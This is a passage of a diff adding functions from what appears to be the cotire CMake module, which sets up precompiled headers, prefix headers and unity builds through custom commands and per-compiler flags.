(_excludedGeneratedSources) + list (REMOVE_ITEM _generatedSources ${_excludedGeneratedSources}) + endif() + # and omit all generated source files that have the COTIRE_DEPENDENCY property set to false explicitly + cotire_get_objects_with_property_off(_excludedNonDependencySources COTIRE_DEPENDENCY SOURCE ${_generatedSources}) + if (_excludedNonDependencySources) + list (REMOVE_ITEM _generatedSources ${_excludedNonDependencySources}) + endif() + if (_generatedSources) + list (APPEND _dependencySources ${_generatedSources}) + endif() + endif() + if (COTIRE_DEBUG AND _dependencySources) + message (STATUS "${_language} ${_target} unity source dependencies: ${_dependencySources}") + endif() + set (${_dependencySourcesVar} ${_dependencySources} PARENT_SCOPE) +endfunction() + +function (cotire_get_prefix_header_dependencies _language _target _dependencySourcesVar) + set (_dependencySources "") + # depend on target source files marked with custom COTIRE_DEPENDENCY property + get_target_property(_targetSourceFiles ${_target} SOURCES) + cotire_get_objects_with_property_on(_dependencySources COTIRE_DEPENDENCY SOURCE ${_targetSourceFiles}) + if (COTIRE_DEBUG AND _dependencySources) + message (STATUS "${_language} ${_target} prefix header dependencies: ${_dependencySources}") + endif() + set (${_dependencySourcesVar} ${_dependencySources} PARENT_SCOPE) +endfunction() + +function (cotire_generate_target_script _language _configurations _target _targetScriptVar _targetConfigScriptVar) + set (_targetSources ${ARGN}) + cotire_get_prefix_header_dependencies(${_language} ${_target} COTIRE_TARGET_PREFIX_DEPENDS ${_targetSources}) + cotire_get_unity_source_dependencies(${_language} ${_target} COTIRE_TARGET_UNITY_DEPENDS ${_targetSources}) + # set up variables to be configured + set (COTIRE_TARGET_LANGUAGE "${_language}") + get_target_property(COTIRE_TARGET_IGNORE_PATH ${_target} COTIRE_PREFIX_HEADER_IGNORE_PATH) + cotire_add_sys_root_paths(COTIRE_TARGET_IGNORE_PATH) + get_target_property(COTIRE_TARGET_INCLUDE_PATH ${_target} COTIRE_PREFIX_HEADER_INCLUDE_PATH) + cotire_add_sys_root_paths(COTIRE_TARGET_INCLUDE_PATH) + get_target_property(COTIRE_TARGET_PRE_UNDEFS ${_target} COTIRE_UNITY_SOURCE_PRE_UNDEFS) + get_target_property(COTIRE_TARGET_POST_UNDEFS ${_target} COTIRE_UNITY_SOURCE_POST_UNDEFS) + get_target_property(COTIRE_TARGET_MAXIMUM_NUMBER_OF_INCLUDES ${_target} COTIRE_UNITY_SOURCE_MAXIMUM_NUMBER_OF_INCLUDES) + get_target_property(COTIRE_TARGET_INCLUDE_PRIORITY_PATH ${_target} COTIRE_PREFIX_HEADER_INCLUDE_PRIORITY_PATH) + cotire_get_source_files_undefs(COTIRE_UNITY_SOURCE_PRE_UNDEFS COTIRE_TARGET_SOURCES_PRE_UNDEFS ${_targetSources}) + cotire_get_source_files_undefs(COTIRE_UNITY_SOURCE_POST_UNDEFS COTIRE_TARGET_SOURCES_POST_UNDEFS ${_targetSources}) + set (COTIRE_TARGET_CONFIGURATION_TYPES "${_configurations}") + foreach (_config ${_configurations}) + string (TOUPPER "${_config}" _upperConfig) + cotire_get_target_include_directories( + "${_config}" "${_language}" "${_target}" COTIRE_TARGET_INCLUDE_DIRECTORIES_${_upperConfig} COTIRE_TARGET_SYSTEM_INCLUDE_DIRECTORIES_${_upperConfig}) + cotire_get_target_compile_definitions( + "${_config}" "${_language}" "${_target}" COTIRE_TARGET_COMPILE_DEFINITIONS_${_upperConfig}) + cotire_get_target_compiler_flags( + "${_config}" "${_language}" "${_target}" COTIRE_TARGET_COMPILE_FLAGS_${_upperConfig}) + cotire_get_source_files_compile_definitions( + "${_config}" "${_language}" COTIRE_TARGET_SOURCES_COMPILE_DEFINITIONS_${_upperConfig} ${_targetSources}) + endforeach() + get_target_property(COTIRE_TARGET_${_language}_COMPILER_LAUNCHER ${_target} ${_language}_COMPILER_LAUNCHER) + # set up COTIRE_TARGET_SOURCES + set (COTIRE_TARGET_SOURCES "") + foreach (_sourceFile ${_targetSources}) + get_source_file_property(_generated "${_sourceFile}" GENERATED) + if (_generated) + # use absolute paths for generated files only, retrieving the LOCATION property is an expensive operation + get_source_file_property(_sourceLocation "${_sourceFile}" LOCATION) + list (APPEND COTIRE_TARGET_SOURCES "${_sourceLocation}") + else() + list (APPEND COTIRE_TARGET_SOURCES "${_sourceFile}") + endif() + endforeach() + # copy variable definitions to cotire target script + get_cmake_property(_vars VARIABLES) + string (REGEX MATCHALL "COTIRE_[A-Za-z0-9_]+" _matchVars "${_vars}") + # omit COTIRE_*_INIT variables + string (REGEX MATCHALL "COTIRE_[A-Za-z0-9_]+_INIT" _initVars "${_matchVars}") + if (_initVars) + list (REMOVE_ITEM _matchVars ${_initVars}) + endif() + # omit COTIRE_VERBOSE which is passed as a CMake define on command line + list (REMOVE_ITEM _matchVars COTIRE_VERBOSE) + set (_contents "") + set (_contentsHasGeneratorExpressions FALSE) + foreach (_var IN LISTS _matchVars ITEMS + XCODE MSVC CMAKE_GENERATOR CMAKE_BUILD_TYPE CMAKE_CONFIGURATION_TYPES + CMAKE_${_language}_COMPILER_ID CMAKE_${_language}_COMPILER_VERSION + CMAKE_${_language}_COMPILER_LAUNCHER CMAKE_${_language}_COMPILER CMAKE_${_language}_COMPILER_ARG1 + CMAKE_INCLUDE_FLAG_${_language} CMAKE_INCLUDE_FLAG_SEP_${_language} + CMAKE_INCLUDE_SYSTEM_FLAG_${_language} + CMAKE_${_language}_FRAMEWORK_SEARCH_FLAG + CMAKE_${_language}_SYSTEM_FRAMEWORK_SEARCH_FLAG + CMAKE_${_language}_SOURCE_FILE_EXTENSIONS) + if (DEFINED ${_var}) + string (REPLACE "\"" "\\\"" _value "${${_var}}") + set (_contents "${_contents}set (${_var} \"${_value}\")\n") + if (NOT _contentsHasGeneratorExpressions) + if ("${_value}" MATCHES "\\$<.*>") + set (_contentsHasGeneratorExpressions TRUE) + endif() + endif() + endif() + endforeach() + # generate target script file + get_filename_component(_moduleName "${COTIRE_CMAKE_MODULE_FILE}" NAME) + set (_targetCotireScript "${CMAKE_CURRENT_BINARY_DIR}/${_target}_${_language}_${_moduleName}") + cotire_write_file("CMAKE" "${_targetCotireScript}" "${_contents}" FALSE) + if (_contentsHasGeneratorExpressions) + # use file(GENERATE ...) to expand generator expressions in the target script at CMake generate-time + set (_configNameOrNoneGeneratorExpression "$<$:None>$<$>:$>") + set (_targetCotireConfigScript "${CMAKE_CURRENT_BINARY_DIR}/${_target}_${_language}_${_configNameOrNoneGeneratorExpression}_${_moduleName}") + file (GENERATE OUTPUT "${_targetCotireConfigScript}" INPUT "${_targetCotireScript}") + else() + set (_targetCotireConfigScript "${_targetCotireScript}") + endif() + set (${_targetScriptVar} "${_targetCotireScript}" PARENT_SCOPE) + set (${_targetConfigScriptVar} "${_targetCotireConfigScript}" PARENT_SCOPE) +endfunction() + +function (cotire_setup_pch_file_compilation _language _target _targetScript _prefixFile _pchFile _hostFile) + set (_sourceFiles ${ARGN}) + if (CMAKE_${_language}_COMPILER_ID MATCHES "MSVC|Intel") + # for Visual Studio and Intel, we attach the precompiled header compilation to the host file + # the remaining files include the precompiled header, see cotire_setup_pch_file_inclusion + if (_sourceFiles) + set (_flags "") + cotire_add_pch_compilation_flags( + "${_language}" "${CMAKE_${_language}_COMPILER_ID}" "${CMAKE_${_language}_COMPILER_VERSION}" + "${_prefixFile}" "${_pchFile}" "${_hostFile}" _flags) + set_property (SOURCE ${_hostFile} APPEND_STRING PROPERTY COMPILE_FLAGS " ${_flags} ") + set_property (SOURCE ${_hostFile} APPEND PROPERTY OBJECT_OUTPUTS "${_pchFile}") + # make object file generated from host file depend on prefix header + set_property (SOURCE ${_hostFile} APPEND PROPERTY OBJECT_DEPENDS "${_prefixFile}") + # mark host file as cotired to prevent it from being used in another cotired target + set_property (SOURCE ${_hostFile} PROPERTY COTIRE_TARGET "${_target}") + endif() + elseif ("${CMAKE_GENERATOR}" MATCHES "Make|Ninja") + # for makefile based generator, we add a custom command to precompile the prefix header + if (_targetScript) + cotire_set_cmd_to_prologue(_cmds) + list (APPEND _cmds -P "${COTIRE_CMAKE_MODULE_FILE}" "precompile" "${_targetScript}" "${_prefixFile}" "${_pchFile}" "${_hostFile}") + if (MSVC_IDE) + file (TO_NATIVE_PATH "${_pchFile}" _pchFileLogPath) + else() + file (RELATIVE_PATH _pchFileLogPath "${CMAKE_BINARY_DIR}" "${_pchFile}") + endif() + # make precompiled header compilation depend on the actual compiler executable used to force + # re-compilation when the compiler executable is updated. This prevents "created by a different GCC executable" + # warnings when the precompiled header is included. + get_filename_component(_realCompilerExe "${CMAKE_${_language}_COMPILER}" ABSOLUTE) + if (COTIRE_DEBUG) + message (STATUS "add_custom_command: OUTPUT ${_pchFile} ${_cmds} DEPENDS ${_prefixFile} ${_realCompilerExe} IMPLICIT_DEPENDS ${_language} ${_prefixFile}") + endif() + set_property (SOURCE "${_pchFile}" PROPERTY GENERATED TRUE) + add_custom_command( + OUTPUT "${_pchFile}" + COMMAND ${_cmds} + DEPENDS "${_prefixFile}" "${_realCompilerExe}" + IMPLICIT_DEPENDS ${_language} "${_prefixFile}" + WORKING_DIRECTORY "${CMAKE_CURRENT_SOURCE_DIR}" + COMMENT "Building ${_language} precompiled header ${_pchFileLogPath}" + VERBATIM) + endif() + endif() +endfunction() + +function (cotire_setup_pch_file_inclusion _language _target _wholeTarget _prefixFile _pchFile _hostFile) + if (CMAKE_${_language}_COMPILER_ID MATCHES "MSVC|Intel") + # for Visual Studio and Intel, we include the precompiled header in all but the host file + # the host file does the precompiled header compilation, see cotire_setup_pch_file_compilation + set (_sourceFiles ${ARGN}) + list (LENGTH _sourceFiles _numberOfSourceFiles) + if (_numberOfSourceFiles GREATER 0) + # mark sources as cotired to prevent them from being used in another cotired target + set_source_files_properties(${_sourceFiles} PROPERTIES COTIRE_TARGET "${_target}") + set (_flags "") + cotire_add_prefix_pch_inclusion_flags( + "${_language}" "${CMAKE_${_language}_COMPILER_ID}" "${CMAKE_${_language}_COMPILER_VERSION}" + "${_prefixFile}" "${_pchFile}" _flags) + set_property (SOURCE ${_sourceFiles} APPEND_STRING PROPERTY COMPILE_FLAGS " ${_flags} ") + # make object files generated from source files depend on precompiled header + set_property (SOURCE ${_sourceFiles} APPEND PROPERTY OBJECT_DEPENDS "${_pchFile}") + endif() + elseif ("${CMAKE_GENERATOR}" MATCHES "Make|Ninja") + set (_sourceFiles ${_hostFile} ${ARGN}) + if (NOT _wholeTarget) + # for makefile based generator, we force the inclusion of the prefix header for a subset + # of the source files, if this is a multi-language target or has excluded files + set (_flags "") + cotire_add_prefix_pch_inclusion_flags( + "${_language}" "${CMAKE_${_language}_COMPILER_ID}" "${CMAKE_${_language}_COMPILER_VERSION}" + "${_prefixFile}" "${_pchFile}" _flags) + set_property (SOURCE ${_sourceFiles} APPEND_STRING PROPERTY COMPILE_FLAGS " ${_flags} ") + # mark sources as cotired to prevent them from being used in another cotired target + set_source_files_properties(${_sourceFiles} PROPERTIES COTIRE_TARGET "${_target}") + endif() + # make object files generated from source files depend on precompiled header + set_property (SOURCE ${_sourceFiles} APPEND PROPERTY OBJECT_DEPENDS "${_pchFile}") + endif() +endfunction() + +function (cotire_setup_prefix_file_inclusion _language _target _prefixFile) + set (_sourceFiles ${ARGN}) + # force the inclusion of the prefix header for the given source files + set (_flags "") + set (_pchFile "") + cotire_add_prefix_pch_inclusion_flags( + "${_language}" "${CMAKE_${_language}_COMPILER_ID}" "${CMAKE_${_language}_COMPILER_VERSION}" + "${_prefixFile}" "${_pchFile}" _flags) + set_property (SOURCE ${_sourceFiles} APPEND_STRING PROPERTY COMPILE_FLAGS " ${_flags} ") + # mark sources as cotired to prevent them from being used in another cotired target + set_source_files_properties(${_sourceFiles} PROPERTIES COTIRE_TARGET "${_target}") + # make object files generated from source files depend on prefix header + set_property (SOURCE ${_sourceFiles} APPEND PROPERTY OBJECT_DEPENDS "${_prefixFile}") +endfunction() + +function (cotire_get_first_set_property_value _propertyValueVar _type _object) + set (_properties ${ARGN}) + foreach (_property ${_properties}) + get_property(_propertyValue ${_type} "${_object}" PROPERTY ${_property}) + if (_propertyValue) + set (${_propertyValueVar} ${_propertyValue} PARENT_SCOPE) + return() + endif() + endforeach() + set (${_propertyValueVar} "" PARENT_SCOPE) +endfunction() + +function (cotire_setup_combine_command _language _targetScript _joinedFile _cmdsVar) + set (_files ${ARGN}) + set (_filesPaths "") + foreach (_file ${_files}) + get_filename_component(_filePath "${_file}" ABSOLUTE) + list (APPEND _filesPaths "${_filePath}") + endforeach() + cotire_set_cmd_to_prologue(_prefixCmd) + list (APPEND _prefixCmd -P "${COTIRE_CMAKE_MODULE_FILE}" "combine") + if (_targetScript) + list (APPEND _prefixCmd "${_targetScript}") + endif() + list (APPEND _prefixCmd "${_joinedFile}" ${_filesPaths}) + if (COTIRE_DEBUG) + message (STATUS "add_custom_command: OUTPUT ${_joinedFile} COMMAND ${_prefixCmd} DEPENDS ${_files}") + endif() + set_property (SOURCE "${_joinedFile}" PROPERTY GENERATED TRUE) + if (MSVC_IDE) + file (TO_NATIVE_PATH "${_joinedFile}" _joinedFileLogPath) + else() + file (RELATIVE_PATH _joinedFileLogPath "${CMAKE_BINARY_DIR}" "${_joinedFile}") + endif() + get_filename_component(_joinedFileBaseName "${_joinedFile}" NAME_WE) + get_filename_component(_joinedFileExt "${_joinedFile}" EXT) + if (_language AND _joinedFileBaseName MATCHES "${COTIRE_UNITY_SOURCE_FILENAME_SUFFIX}$") + set (_comment "Generating ${_language} unity source ${_joinedFileLogPath}") + elseif (_language AND _joinedFileBaseName MATCHES "${COTIRE_PREFIX_HEADER_FILENAME_SUFFIX}$") + if (_joinedFileExt MATCHES "^\\.c") + set (_comment "Generating ${_language} prefix source ${_joinedFileLogPath}") + else() + set (_comment "Generating ${_language} prefix header ${_joinedFileLogPath}") + endif() + else() + set (_comment "Generating ${_joinedFileLogPath}") + endif() + add_custom_command( + OUTPUT "${_joinedFile}" + COMMAND ${_prefixCmd} + DEPENDS ${_files} + COMMENT "${_comment}" + WORKING_DIRECTORY "${CMAKE_BINARY_DIR}" + VERBATIM) + list (APPEND ${_cmdsVar} COMMAND ${_prefixCmd}) + set (${_cmdsVar} ${${_cmdsVar}} PARENT_SCOPE) +endfunction() + +function (cotire_setup_target_pch_usage _languages _target _wholeTarget) + if (XCODE) + # for Xcode, we attach a pre-build action to generate the unity sources and prefix headers + set (_prefixFiles "") + foreach (_language ${_languages}) + get_property(_prefixFile TARGET ${_target} PROPERTY COTIRE_${_language}_PREFIX_HEADER) + if (_prefixFile) + list (APPEND _prefixFiles "${_prefixFile}") + endif() + endforeach() + set (_cmds ${ARGN}) + list (LENGTH _prefixFiles _numberOfPrefixFiles) + if (_numberOfPrefixFiles GREATER 1) + # we also generate a generic, single prefix header which includes all language specific prefix headers + set (_language "") + set (_targetScript "") + cotire_make_prefix_file_path("${_language}" ${_target} _prefixHeader) + cotire_setup_combine_command("${_language}" "${_targetScript}" "${_prefixHeader}" _cmds ${_prefixFiles}) + else() + set (_prefixHeader "${_prefixFiles}") + endif() + if (COTIRE_DEBUG) + message (STATUS "add_custom_command: TARGET ${_target} PRE_BUILD ${_cmds}") + endif() + # because CMake PRE_BUILD command does not support dependencies, + # we check dependencies explicity in cotire script mode when the pre-build action is run + add_custom_command( + TARGET "${_target}" + PRE_BUILD ${_cmds} + WORKING_DIRECTORY "${CMAKE_CURRENT_SOURCE_DIR}" + COMMENT "Updating target ${_target} prefix headers" + VERBATIM) + # make Xcode precompile the generated prefix header with ProcessPCH and ProcessPCH++ + set_target_properties(${_target} PROPERTIES XCODE_ATTRIBUTE_GCC_PRECOMPILE_PREFIX_HEADER "YES") + set_target_properties(${_target} PROPERTIES XCODE_ATTRIBUTE_GCC_PREFIX_HEADER "${_prefixHeader}") + elseif ("${CMAKE_GENERATOR}" MATCHES "Make|Ninja") + # for makefile based generator, we force inclusion of the prefix header for all target source files + # if this is a single-language target without any excluded files + if (_wholeTarget) + set (_language "${_languages}") + # for Visual Studio and Intel, precompiled header inclusion is always done on the source file level + # see cotire_setup_pch_file_inclusion + if (NOT CMAKE_${_language}_COMPILER_ID MATCHES "MSVC|Intel") + get_property(_prefixFile TARGET ${_target} PROPERTY COTIRE_${_language}_PREFIX_HEADER) + if (_prefixFile) + get_property(_pchFile TARGET ${_target} PROPERTY COTIRE_${_language}_PRECOMPILED_HEADER) + set (_options COMPILE_OPTIONS) + cotire_add_prefix_pch_inclusion_flags( + "${_language}" "${CMAKE_${_language}_COMPILER_ID}" "${CMAKE_${_language}_COMPILER_VERSION}" + "${_prefixFile}" "${_pchFile}" _options) + set_property(TARGET ${_target} APPEND PROPERTY ${_options}) + endif() + endif() + endif() + endif() +endfunction() + +function (cotire_setup_unity_generation_commands _language _target _targetScript _targetConfigScript _unityFiles _cmdsVar) + set (_dependencySources "") + cotire_get_unity_source_dependencies(${_language} ${_target} _dependencySources ${ARGN}) + foreach (_unityFile ${_unityFiles}) + set_property (SOURCE "${_unityFile}" PROPERTY GENERATED TRUE) + # set up compiled unity source dependencies via OBJECT_DEPENDS + # this ensures that missing source files are generated before the unity file is compiled + if (COTIRE_DEBUG AND _dependencySources) + message (STATUS "${_unityFile} OBJECT_DEPENDS ${_dependencySources}") + endif() + if (_dependencySources) + # the OBJECT_DEPENDS property requires a list of full paths + set (_objectDependsPaths "") + foreach (_sourceFile ${_dependencySources}) + get_source_file_property(_sourceLocation "${_sourceFile}" LOCATION) + list (APPEND _objectDependsPaths "${_sourceLocation}") + endforeach() + set_property (SOURCE "${_unityFile}" PROPERTY OBJECT_DEPENDS ${_objectDependsPaths}) + endif() + if (WIN32 AND CMAKE_${_language}_COMPILER_ID MATCHES "MSVC|Intel") + # unity file compilation results in potentially huge object file, thus use /bigobj by default unter MSVC and Windows Intel + set_property (SOURCE "${_unityFile}" APPEND_STRING PROPERTY COMPILE_FLAGS "/bigobj") + endif() + cotire_set_cmd_to_prologue(_unityCmd) + list (APPEND _unityCmd -P "${COTIRE_CMAKE_MODULE_FILE}" "unity" "${_targetConfigScript}" "${_unityFile}") + if (CMAKE_VERSION VERSION_LESS "3.1.0") + set (_unityCmdDepends "${_targetScript}") + else() + # CMake 3.1.0 supports generator expressions in arguments to DEPENDS + set (_unityCmdDepends "${_targetConfigScript}") + endif() + if (MSVC_IDE) + file (TO_NATIVE_PATH "${_unityFile}" _unityFileLogPath) + else() + file (RELATIVE_PATH _unityFileLogPath "${CMAKE_BINARY_DIR}" "${_unityFile}") + endif() + if (COTIRE_DEBUG) + message (STATUS "add_custom_command: OUTPUT ${_unityFile} COMMAND ${_unityCmd} DEPENDS ${_unityCmdDepends}") + endif() + add_custom_command( + OUTPUT "${_unityFile}" + COMMAND ${_unityCmd} + DEPENDS ${_unityCmdDepends} + COMMENT "Generating ${_language} unity source ${_unityFileLogPath}" + WORKING_DIRECTORY "${CMAKE_CURRENT_SOURCE_DIR}" + VERBATIM) + list (APPEND ${_cmdsVar} COMMAND ${_unityCmd}) + endforeach() + set (${_cmdsVar} ${${_cmdsVar}} PARENT_SCOPE) +endfunction() + +function (cotire_setup_prefix_generation_command _language _target _targetScript _prefixFile _unityFiles _cmdsVar) + set (_sourceFiles ${ARGN}) + set (_dependencySources "") + cotire_get_prefix_header_dependencies(${_language} ${_target} _dependencySources ${_sourceFiles}) + cotire_set_cmd_to_prologue(_prefixCmd) + list (APPEND _prefixCmd -P "${COTIRE_CMAKE_MODULE_FILE}" "prefix" "${_targetScript}" "${_prefixFile}" ${_unityFiles}) + set_property (SOURCE "${_prefixFile}" PROPERTY GENERATED TRUE) + # make prefix header generation depend on the actual compiler executable used to force + # re-generation when the compiler executable is updated. This prevents "file not found" + # errors for compiler version specific system header files. + get_filename_component(_realCompilerExe "${CMAKE_${_language}_COMPILER}" ABSOLUTE) + if (COTIRE_DEBUG) + message (STATUS "add_custom_command: OUTPUT ${_prefixFile} COMMAND ${_prefixCmd} DEPENDS ${_unityFile} ${_dependencySources} ${_realCompilerExe}") + endif() + if (MSVC_IDE) + file (TO_NATIVE_PATH "${_prefixFile}" _prefixFileLogPath) + else() + file (RELATIVE_PATH _prefixFileLogPath "${CMAKE_BINARY_DIR}" "${_prefixFile}") + endif() + get_filename_component(_prefixFileExt "${_prefixFile}" EXT) + if (_prefixFileExt MATCHES "^\\.c") + set (_comment "Generating ${_language} prefix source ${_prefixFileLogPath}") + else() + set (_comment "Generating ${_language} prefix header ${_prefixFileLogPath}") + endif() + # prevent pre-processing errors upon generating the prefix header when a target's generated include file does not yet exist + # we do not add a file-level dependency for the target's generated files though, because we only want to depend on their existence + # thus we make the prefix header generation depend on a custom helper target which triggers the generation of the files + set (_preTargetName "${_target}${COTIRE_PCH_TARGET_SUFFIX}_pre") + if (TARGET ${_preTargetName}) + # custom helper target has already been generated while processing a different language + list (APPEND _dependencySources ${_preTargetName}) + else() + get_target_property(_targetSourceFiles ${_target} SOURCES) + cotire_get_objects_with_property_on(_generatedSources GENERATED SOURCE ${_targetSourceFiles}) + if (_generatedSources) + add_custom_target("${_preTargetName}" DEPENDS ${_generatedSources}) + cotire_init_target("${_preTargetName}") + list (APPEND _dependencySources ${_preTargetName}) + endif() + endif() + add_custom_command( + OUTPUT "${_prefixFile}" "${_prefixFile}.log" + COMMAND ${_prefixCmd} + DEPENDS ${_unityFiles} ${_dependencySources} "${_realCompilerExe}" + COMMENT "${_comment}" + WORKING_DIRECTORY "${CMAKE_CURRENT_SOURCE_DIR}" + VERBATIM) + list (APPEND ${_cmdsVar} COMMAND ${_prefixCmd}) + set (${_cmdsVar} ${${_cmdsVar}} PARENT_SCOPE) +endfunction() + +function (cotire_setup_prefix_generation_from_unity_command _language _target _targetScript _prefixFile _unityFiles _cmdsVar) + set (_sourceFiles ${ARGN}) + if (CMAKE_${_language}_COMPILER_ID MATCHES "GNU|Clang") + # GNU and Clang require indirect compilation of the prefix header to make them honor the system_header pragma + cotire_prefix_header_to_source_file_path(${_language} "${_prefixFile}" _prefixSourceFile) + else() + set (_prefixSourceFile "${_prefixFile}") + endif() + cotire_setup_prefix_generation_command( + ${_language} ${_target} "${_targetScript}" + "${_prefixSourceFile}" "${_unityFiles}" ${_cmdsVar} ${_sourceFiles}) + if (CMAKE_${_language}_COMPILER_ID MATCHES "GNU|Clang") + # set up generation of a prefix source file which includes the prefix header + cotire_setup_combine_command(${_language} "${_targetScript}" "${_prefixFile}" _cmds ${_prefixSourceFile}) + endif() + set (${_cmdsVar} ${${_cmdsVar}} PARENT_SCOPE) +endfunction() + +function (cotire_setup_prefix_generation_from_provided_command _language _target _targetScript _prefixFile _cmdsVar) + set (_prefixHeaderFiles ${ARGN}) + if (CMAKE_${_language}_COMPILER_ID MATCHES "GNU|Clang") + # GNU and Clang require indirect compilation of the prefix header to make them honor the system_header pragma + cotire_prefix_header_to_source_file_path(${_language} "${_prefixFile}" _prefixSourceFile) + else() + set (_prefixSourceFile "${_prefixFile}") + endif() + cotire_setup_combine_command(${_language} "${_targetScript}" "${_prefixSourceFile}" _cmds ${_prefixHeaderFiles}) + if (CMAKE_${_language}_COMPILER_ID MATCHES "GNU|Clang") + # set up generation of a prefix source file which includes the prefix header + cotire_setup_combine_command(${_language} "${_targetScript}" "${_prefixFile}" _cmds ${_prefixSourceFile}) + endif() + set (${_cmdsVar} ${${_cmdsVar}} PARENT_SCOPE) +endfunction() + +function (cotire_init_cotire_target_properties _target) + get_property(_isSet TARGET ${_target} PROPERTY COTIRE_ENABLE_PRECOMPILED_HEADER SET) + if (NOT _isSet) + set_property(TARGET ${_target} PROPERTY COTIRE_ENABLE_PRECOMPILED_HEADER TRUE) + endif() + get_property(_isSet TARGET ${_target} PROPERTY COTIRE_ADD_UNITY_BUILD SET) + if (NOT _isSet) + set_property(TARGET ${_target} PROPERTY COTIRE_ADD_UNITY_BUILD TRUE) + endif() + get_property(_isSet TARGET ${_target} PROPERTY COTIRE_ADD_CLEAN SET) + if (NOT _isSet) + set_property(TARGET ${_target} PROPERTY COTIRE_ADD_CLEAN FALSE) + endif() + get_property(_isSet TARGET ${_target} PROPERTY COTIRE_PREFIX_HEADER_IGNORE_PATH SET) + if (NOT _isSet) + set_property(TARGET ${_target} PROPERTY COTIRE_PREFIX_HEADER_IGNORE_PATH "${CMAKE_SOURCE_DIR}") + cotire_check_is_path_relative_to("${CMAKE_BINARY_DIR}" _isRelative "${CMAKE_SOURCE_DIR}") + if (NOT _isRelative) + set_property(TARGET ${_target} APPEND PROPERTY COTIRE_PREFIX_HEADER_IGNORE_PATH "${CMAKE_BINARY_DIR}") + endif() + endif() + get_property(_isSet TARGET ${_target} PROPERTY COTIRE_PREFIX_HEADER_INCLUDE_PATH SET) + if (NOT _isSet) + set_property(TARGET ${_target} PROPERTY COTIRE_PREFIX_HEADER_INCLUDE_PATH "") + endif() + get_property(_isSet TARGET ${_target} PROPERTY COTIRE_PREFIX_HEADER_INCLUDE_PRIORITY_PATH SET) + if (NOT _isSet) + set_property(TARGET ${_target} PROPERTY COTIRE_PREFIX_HEADER_INCLUDE_PRIORITY_PATH "") + endif() + get_property(_isSet TARGET ${_target} PROPERTY COTIRE_UNITY_SOURCE_PRE_UNDEFS SET) + if (NOT _isSet) + set_property(TARGET ${_target} PROPERTY COTIRE_UNITY_SOURCE_PRE_UNDEFS "") + endif() + get_property(_isSet TARGET ${_target} PROPERTY COTIRE_UNITY_SOURCE_POST_UNDEFS SET) + if (NOT _isSet) + set_property(TARGET ${_target} PROPERTY COTIRE_UNITY_SOURCE_POST_UNDEFS "") + endif() + get_property(_isSet TARGET ${_target} PROPERTY COTIRE_UNITY_LINK_LIBRARIES_INIT SET) + if (NOT _isSet) + set_property(TARGET ${_target} PROPERTY COTIRE_UNITY_LINK_LIBRARIES_INIT "COPY_UNITY") + endif() + get_property(_isSet TARGET ${_target} PROPERTY COTIRE_UNITY_SOURCE_MAXIMUM_NUMBER_OF_INCLUDES SET) + if (NOT _isSet) + if (COTIRE_MAXIMUM_NUMBER_OF_UNITY_INCLUDES) + set_property(TARGET ${_target} PROPERTY COTIRE_UNITY_SOURCE_MAXIMUM_NUMBER_OF_INCLUDES "${COTIRE_MAXIMUM_NUMBER_OF_UNITY_INCLUDES}") + else() + set_property(TARGET ${_target} PROPERTY COTIRE_UNITY_SOURCE_MAXIMUM_NUMBER_OF_INCLUDES "") + endif() + endif() +endfunction() + +function (cotire_make_target_message _target _languages _disableMsg _targetMsgVar) + get_target_property(_targetUsePCH ${_target} COTIRE_ENABLE_PRECOMPILED_HEADER) + get_target_property(_targetAddSCU ${_target} COTIRE_ADD_UNITY_BUILD) + string (REPLACE ";" " " _languagesStr "${_languages}") + math (EXPR _numberOfExcludedFiles "${ARGC} - 4") + if (_numberOfExcludedFiles EQUAL 0) + set (_excludedStr "") + elseif (COTIRE_VERBOSE OR _numberOfExcludedFiles LESS 4) + string (REPLACE ";" ", " _excludedStr "excluding ${ARGN}") + else() + set (_excludedStr "excluding ${_numberOfExcludedFiles} files") + endif() + set (_targetMsg "") + if (NOT _languages) + set (_targetMsg "Target ${_target} cannot be cotired.") + if (_disableMsg) + set (_targetMsg "${_targetMsg} ${_disableMsg}") + endif() + elseif (NOT _targetUsePCH AND NOT _targetAddSCU) + set (_targetMsg "${_languagesStr} target ${_target} cotired without unity build and precompiled header.") + if (_disableMsg) + set (_targetMsg "${_targetMsg} ${_disableMsg}") + endif() + elseif (NOT _targetUsePCH) + if (_excludedStr) + set (_targetMsg "${_languagesStr} target ${_target} cotired without precompiled header ${_excludedStr}.") + else() + set (_targetMsg "${_languagesStr} target ${_target} cotired without precompiled header.") + endif() + if (_disableMsg) + set (_targetMsg "${_targetMsg} ${_disableMsg}") + endif() + elseif (NOT _targetAddSCU) + if (_excludedStr) + set (_targetMsg "${_languagesStr} target ${_target} cotired without unity build ${_excludedStr}.") + else() + set (_targetMsg "${_languagesStr} target ${_target} cotired without unity build.") + endif() + else() + if (_excludedStr) + set (_targetMsg "${_languagesStr} target ${_target} cotired ${_excludedStr}.") + else() + set (_targetMsg "${_languagesStr} target ${_target} cotired.") + endif() + endif() + set (${_targetMsgVar} "${_targetMsg}" PARENT_SCOPE) +endfunction() + +function (cotire_choose_target_languages _target _targetLanguagesVar _wholeTargetVar) + set (_languages ${ARGN}) + set (_allSourceFiles "") + set (_allExcludedSourceFiles "") + set (_allCotiredSourceFiles "") + set (_targetLanguages "") + set (_pchEligibleTargetLanguages "") + get_target_property(_targetType ${_target} TYPE) + get_target_property(_targetSourceFiles ${_target} SOURCES) + get_target_property(_targetUsePCH ${_target} COTIRE_ENABLE_PRECOMPILED_HEADER) + get_target_property(_targetAddSCU ${_target} COTIRE_ADD_UNITY_BUILD) + set (_disableMsg "") + foreach (_language ${_languages}) + get_target_property(_prefixHeader ${_target} COTIRE_${_language}_PREFIX_HEADER) + get_target_property(_unityBuildFile ${_target} COTIRE_${_language}_UNITY_SOURCE) + if (_prefixHeader OR _unityBuildFile) + message (STATUS "cotire: target ${_target} has already been cotired.") + set (${_targetLanguagesVar} "" PARENT_SCOPE) + return() + endif() + if (_targetUsePCH AND "${_language}" MATCHES "^C|CXX$" AND DEFINED CMAKE_${_language}_COMPILER_ID) + if (CMAKE_${_language}_COMPILER_ID) + cotire_check_precompiled_header_support("${_language}" "${_target}" _disableMsg) + if (_disableMsg) + set (_targetUsePCH FALSE) + endif() + endif() + endif() + set (_sourceFiles "") + set (_excludedSources "") + set (_cotiredSources "") + cotire_filter_language_source_files(${_language} ${_target} _sourceFiles _excludedSources _cotiredSources ${_targetSourceFiles}) + if (_sourceFiles OR _excludedSources OR _cotiredSources) + list (APPEND _targetLanguages ${_language}) + endif() + if (_sourceFiles) + list (APPEND _allSourceFiles ${_sourceFiles}) + endif() + list (LENGTH _sourceFiles 